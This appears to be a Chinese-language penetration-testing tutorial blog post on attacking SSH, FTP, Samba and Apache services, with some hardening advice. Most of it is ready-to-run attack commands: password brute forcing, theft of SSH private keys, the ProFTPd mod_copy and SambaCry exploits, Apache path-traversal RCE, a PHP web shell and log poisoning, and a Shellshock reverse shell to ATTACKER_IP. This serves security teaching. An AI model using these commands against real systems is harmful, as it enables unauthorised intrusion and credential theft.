Skip to content

Linux 服务漏洞利用 — SSH、FTP、Samba、Apache 攻击面

Published:
13 min read

在渗透测试过程中,信息收集阶段发现的开放端口和服务就是我们的”入口”。Linux 服务器上常见的 SSH、FTP、Samba、Apache 等服务,如果配置不当或存在已知漏洞,往往会成为攻击者突破防线的突破口。本文将针对这四类常见服务,详细讲解每种服务的攻击面、漏洞利用方式和实战操作步骤,同时给出对应的加固建议,帮助你全面理解服务层面的安全风险。

前置准备

在开始漏洞利用之前,假设我们已经通过 Nmap 完成了目标的信息收集:

# 全面扫描目标主机
sudo nmap -sS -sV -sC -O -p- -T4 192.168.1.100

# 假设扫描结果如下:
# PORT     STATE  SERVICE     VERSION
# 22/tcp   open   ssh         OpenSSH 7.2p2
# 21/tcp   open   ftp         ProFTPd 1.3.5
# 139/tcp  open   netbios-ssn Samba 4.3.11
# 445/tcp  open   microsoft-ds Samba 4.3.11
# 80/tcp   open   http        Apache httpd 2.4.18

接下来,我们逐一对每个服务进行渗透测试。

SSH 攻击面(端口 22)

SSH(Secure Shell)是 Linux 系统远程管理的核心服务。虽然 SSH 本身使用加密通信,但仍然存在多种攻击路径。

1. SSH 暴力破解

最常见的 SSH 攻击方式就是密码暴力破解,使用 Hydra 是最高效的选择。

# 使用 Hydra 对 SSH 进行暴力破解
# -l 指定用户名,-P 指定密码字典
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100

# 使用用户名列表
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100

# 限制线程数和等待时间(避免被封IP)
hydra -l admin -P passwords.txt -t 4 -W 5 ssh://192.168.1.100

# 指定端口(非标准端口)
hydra -l root -P passwords.txt -s 2222 ssh://192.168.1.100

# 使用 Medusa 作为替代工具
medusa -h 192.168.1.100 -u root -P /usr/share/wordlists/rockyou.txt -M ssh

# 使用 Ncrack
ncrack -p 22 --user root -P passwords.txt 192.168.1.100

2. SSH 密钥泄露利用

如果目标系统的私钥文件因为不当配置而暴露(例如通过 Web 目录或备份文件),可以直接利用。

# 在 Web 服务器或 FTP 中发现泄露的私钥
curl http://192.168.1.100/.ssh/id_rsa -o stolen_key

# 修改私钥文件权限(SSH 要求 600 权限)
chmod 600 stolen_key

# 使用私钥登录
ssh -i stolen_key user@192.168.1.100

# 如果私钥有密码保护,使用 John 破解
ssh2john stolen_key > key_hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt key_hash.txt

# 使用破解出的密码登录
ssh -i stolen_key user@192.168.1.100

3. SSH 版本漏洞

某些旧版本的 OpenSSH 存在已知漏洞:

# 确认 SSH 版本
nmap -sV -p 22 192.168.1.100
ssh -V  # 查看本地版本

# 在 Exploit-DB 中搜索对应版本的漏洞
searchsploit openssh 7.2

# OpenSSH 7.2p2 - 用户名枚举漏洞 (CVE-2016-6210)
# 可以判断用户名是否存在
searchsploit -m 40136
python3 40136.py 192.168.1.100 root
python3 40136.py 192.168.1.100 admin

# 使用 Nmap NSE 脚本检测 SSH 漏洞
nmap --script ssh-auth-methods -p 22 192.168.1.100
nmap --script ssh-brute -p 22 192.168.1.100

SSH 加固建议

# /etc/ssh/sshd_config 关键配置
PermitRootLogin no                    # 禁止 root 远程登录
PasswordAuthentication no             # 禁用密码认证,仅允许密钥
MaxAuthTries 3                        # 最大认证尝试次数
LoginGraceTime 30                     # 登录超时时间
AllowUsers specific_user              # 仅允许特定用户
Port 2222                             # 修改默认端口
Protocol 2                            # 仅使用 SSH v2

# 安装 Fail2ban 防暴力破解
sudo apt install fail2ban
sudo systemctl enable fail2ban

FTP 攻击面(端口 21)

FTP 协议本身是明文传输的,存在大量安全隐患。

1. FTP 匿名登录

许多 FTP 服务默认允许匿名登录,可能泄露敏感文件。

# 检查是否允许匿名登录
ftp 192.168.1.100
# 输入用户名: anonymous
# 输入密码: (空或任意邮箱)

# 使用 Nmap 检测匿名登录
nmap --script ftp-anon -p 21 192.168.1.100

# 匿名登录后的操作
ftp> ls -la                    # 列出所有文件
ftp> cd /                      # 切换到根目录
ftp> get important_file.txt    # 下载文件
ftp> mget *.conf               # 批量下载配置文件
ftp> put shell.php             # 上传文件(如果有写权限)

# 使用 wget 递归下载 FTP 内容
wget -r ftp://anonymous:@192.168.1.100/

# 使用 lftp 进行更灵活的操作
lftp anonymous@192.168.1.100
lftp> mirror --verbose /        # 镜像下载整个FTP

2. FTP 暴力破解

# Hydra 暴力破解 FTP
hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://192.168.1.100

# 指定用户名列表
hydra -L users.txt -P passwords.txt ftp://192.168.1.100

# 使用 Nmap 脚本暴力破解
nmap --script ftp-brute -p 21 192.168.1.100

3. ProFTPd 漏洞利用

ProFTPd 历史上存在多个严重漏洞:

# 确认 ProFTPd 版本
nmap -sV -p 21 192.168.1.100

# 搜索 ProFTPd 漏洞
searchsploit proftpd

# ProFTPd 1.3.5 - Mod_Copy 远程命令执行
# 利用 SITE CPFR/CPTO 命令复制文件
# 将 /etc/passwd 复制到 Web 目录
nc 192.168.1.100 21
SITE CPFR /etc/passwd
SITE CPTO /var/www/html/passwd.txt

# 然后通过 Web 访问
curl http://192.168.1.100/passwd.txt

# 更危险:复制 SSH 私钥到 Web 目录
nc 192.168.1.100 21
SITE CPFR /home/user/.ssh/id_rsa
SITE CPTO /var/www/html/id_rsa

# 使用 Metasploit 利用 ProFTPd 漏洞
msfconsole
msf6 > use exploit/unix/ftp/proftpd_modcopy_exec
msf6 exploit(proftpd_modcopy_exec) > set RHOSTS 192.168.1.100
msf6 exploit(proftpd_modcopy_exec) > exploit

FTP 加固建议

Samba 攻击面(端口 139/445)

Samba 为 Linux 提供 Windows 文件共享服务,是内网渗透中的重要攻击面。

1. Samba 信息枚举

# 使用 enum4linux 进行全面枚举
enum4linux -a 192.168.1.100

# 枚举共享资源
smbclient -L //192.168.1.100 -N     # -N 表示无密码

# 使用 Nmap 脚本枚举
nmap --script smb-enum-shares -p 445 192.168.1.100
nmap --script smb-enum-users -p 445 192.168.1.100
nmap --script smb-os-discovery -p 445 192.168.1.100

# 使用 smbmap 查看共享权限
smbmap -H 192.168.1.100
smbmap -H 192.168.1.100 -u '' -p ''   # 空会话

# CrackMapExec 枚举(推荐)
crackmapexec smb 192.168.1.100 --shares
crackmapexec smb 192.168.1.100 --users
crackmapexec smb 192.168.1.100 --pass-pol

2. Samba 空会话与共享访问

# 空会话连接共享
smbclient //192.168.1.100/share -N

# 使用凭据连接
smbclient //192.168.1.100/share -U username%password

# 共享操作命令
smb: \> ls                         # 列出文件
smb: \> cd directory               # 切换目录
smb: \> get secret.txt             # 下载文件
smb: \> put backdoor.exe           # 上传文件
smb: \> recurse ON                 # 启用递归
smb: \> prompt OFF                 # 关闭确认提示
smb: \> mget *                     # 下载所有文件

# 使用 mount 挂载共享(方便批量操作)
sudo mount -t cifs //192.168.1.100/share /mnt/smb -o username=guest,password=
ls -la /mnt/smb/

3. Samba 漏洞利用

# 使用 Nmap 检测 SMB 漏洞
nmap --script smb-vuln* -p 445 192.168.1.100

# SambaCry (CVE-2017-7494) — 类似 EternalBlue 的 Linux 版本
# 影响 Samba 3.5.0 - 4.6.4
searchsploit samba 4.5

# Metasploit 利用 SambaCry
msfconsole
msf6 > use exploit/linux/samba/is_known_pipename
msf6 exploit(is_known_pipename) > set RHOSTS 192.168.1.100
msf6 exploit(is_known_pipename) > set SMB_SHARE_NAME share_name
msf6 exploit(is_known_pipename) > exploit

# Samba 暴力破解
hydra -l admin -P /usr/share/wordlists/rockyou.txt smb://192.168.1.100
crackmapexec smb 192.168.1.100 -u admin -p /usr/share/wordlists/rockyou.txt

Samba 加固建议

Apache 攻击面(端口 80/443)

Apache 是最流行的 Web 服务器,其配置错误和关联组件漏洞是常见的攻击入口。

1. 信息收集与指纹识别

# 获取 Apache 版本和模块信息
curl -I http://192.168.1.100
nmap -sV -p 80 192.168.1.100

# 使用 Nikto 扫描 Web 漏洞
nikto -h http://192.168.1.100

# 使用 WhatWeb 识别技术栈
whatweb http://192.168.1.100

# 检测 WAF
wafw00f http://192.168.1.100

# 目录枚举
gobuster dir -u http://192.168.1.100 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
dirsearch -u http://192.168.1.100 -e php,html

2. 目录遍历漏洞

Apache 配置不当可能允许目录遍历,读取服务器上的任意文件。

# 基本目录遍历测试
curl http://192.168.1.100/../../../../etc/passwd
curl http://192.168.1.100/..%2f..%2f..%2f..%2fetc/passwd

# URL 编码绕过
curl "http://192.168.1.100/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"

# 双重编码绕过
curl "http://192.168.1.100/%252e%252e/%252e%252e/etc/passwd"

# 空字节绕过(旧版本PHP)
curl "http://192.168.1.100/page.php?file=../../../../etc/passwd%00"

# Apache 2.4.49/2.4.50 路径穿越漏洞 (CVE-2021-41773 / CVE-2021-42013)
curl "http://192.168.1.100/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"

# 利用该漏洞执行命令(需要 mod_cgi 启用)
curl "http://192.168.1.100/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh" \
  -d "echo; id; whoami; cat /etc/passwd"

3. 文件包含漏洞(LFI/RFI)

# 本地文件包含 (LFI)
curl "http://192.168.1.100/page.php?file=/etc/passwd"
curl "http://192.168.1.100/page.php?file=../../../etc/passwd"

# 读取 Apache 配置和日志
curl "http://192.168.1.100/page.php?file=/etc/apache2/apache2.conf"
curl "http://192.168.1.100/page.php?file=/var/log/apache2/access.log"

# PHP 伪协议利用
# 读取 PHP 源码(Base64编码)
curl "http://192.168.1.100/page.php?file=php://filter/convert.base64-encode/resource=config.php"

# 远程文件包含 (RFI) — 需要 allow_url_include=On
# 在攻击机上准备恶意脚本
echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/shell.php
# 利用 RFI
curl "http://192.168.1.100/page.php?file=http://ATTACKER_IP/shell.php&cmd=id"

# 日志投毒 (Log Poisoning) + LFI = RCE
# 1. 将 PHP 代码注入 User-Agent
curl -A "<?php system(\$_GET['cmd']); ?>" http://192.168.1.100/
# 2. 通过 LFI 读取日志执行代码
curl "http://192.168.1.100/page.php?file=/var/log/apache2/access.log&cmd=id"

4. CGI 漏洞 — Shellshock (CVE-2014-6271)

Shellshock 是 Bash 的一个严重漏洞,通过 Apache CGI 模块可以被远程利用。

# 使用 Nmap 检测 Shellshock
nmap --script http-shellshock --script-args uri=/cgi-bin/test.cgi -p 80 192.168.1.100

# 手动利用 Shellshock
curl -H "User-Agent: () { :; }; echo; /bin/cat /etc/passwd" \
  http://192.168.1.100/cgi-bin/test.cgi

# 反弹 Shell 利用
curl -H "User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" \
  http://192.168.1.100/cgi-bin/test.cgi

# 攻击机监听
nc -lvnp 4444

# Metasploit 利用 Shellshock
msfconsole
msf6 > use exploit/multi/http/apache_mod_cgi_bash_env_exec
msf6 exploit(apache_mod_cgi_bash_env_exec) > set RHOSTS 192.168.1.100
msf6 exploit(apache_mod_cgi_bash_env_exec) > set TARGETURI /cgi-bin/test.cgi
msf6 exploit(apache_mod_cgi_bash_env_exec) > exploit

Apache 加固建议

# /etc/apache2/apache2.conf 或 httpd.conf

# 隐藏版本信息
ServerTokens Prod
ServerSignature Off

# 禁用目录浏览
<Directory /var/www/html>
    Options -Indexes
</Directory>

# 限制 HTTP 方法
<LimitExcept GET POST>
    deny from all
</LimitExcept>

# 禁用不必要的模块
sudo a2dismod cgi
sudo a2dismod autoindex

# 配置安全 Headers
Header always set X-Content-Type-Options "nosniff"
Header always set X-Frame-Options "SAMEORIGIN"
Header always set X-XSS-Protection "1; mode=block"

# 启用 ModSecurity WAF
sudo apt install libapache2-mod-security2
sudo a2enmod security2

# 重启 Apache
sudo systemctl restart apache2

渗透测试完整流程示例

将以上知识串联起来,一次完整的服务漏洞利用流程大致如下:

# 1. 端口扫描与服务识别
sudo nmap -sS -sV -sC -p- -T4 -oA target_scan 192.168.1.100

# 2. 针对发现的服务进行枚举
# FTP 匿名登录检查
nmap --script ftp-anon -p 21 192.168.1.100

# Samba 共享枚举
enum4linux -a 192.168.1.100

# Web 目录扫描
gobuster dir -u http://192.168.1.100 -w /usr/share/wordlists/dirb/common.txt

# 3. 漏洞检测
nmap --script vuln 192.168.1.100
nikto -h http://192.168.1.100

# 4. 漏洞利用(根据发现的漏洞选择对应手段)

# 5. 获取初始访问权限后进行后续渗透

总结

本文详细讲解了 Linux 环境中 SSH、FTP、Samba、Apache 四大核心服务的攻击面。从暴力破解到版本漏洞,从匿名访问到远程命令执行,每个服务都存在多种攻击路径。在渗透测试中,我们需要对目标主机上运行的每个服务都进行系统化的安全评估,不放过任何细节。同时,作为防守方,理解这些攻击手段能够帮助我们更好地加固系统、制定安全策略。下一篇文章我们将进入提权阶段——当你获取了一个低权限 Shell 后,如何一步步提升到 root 权限。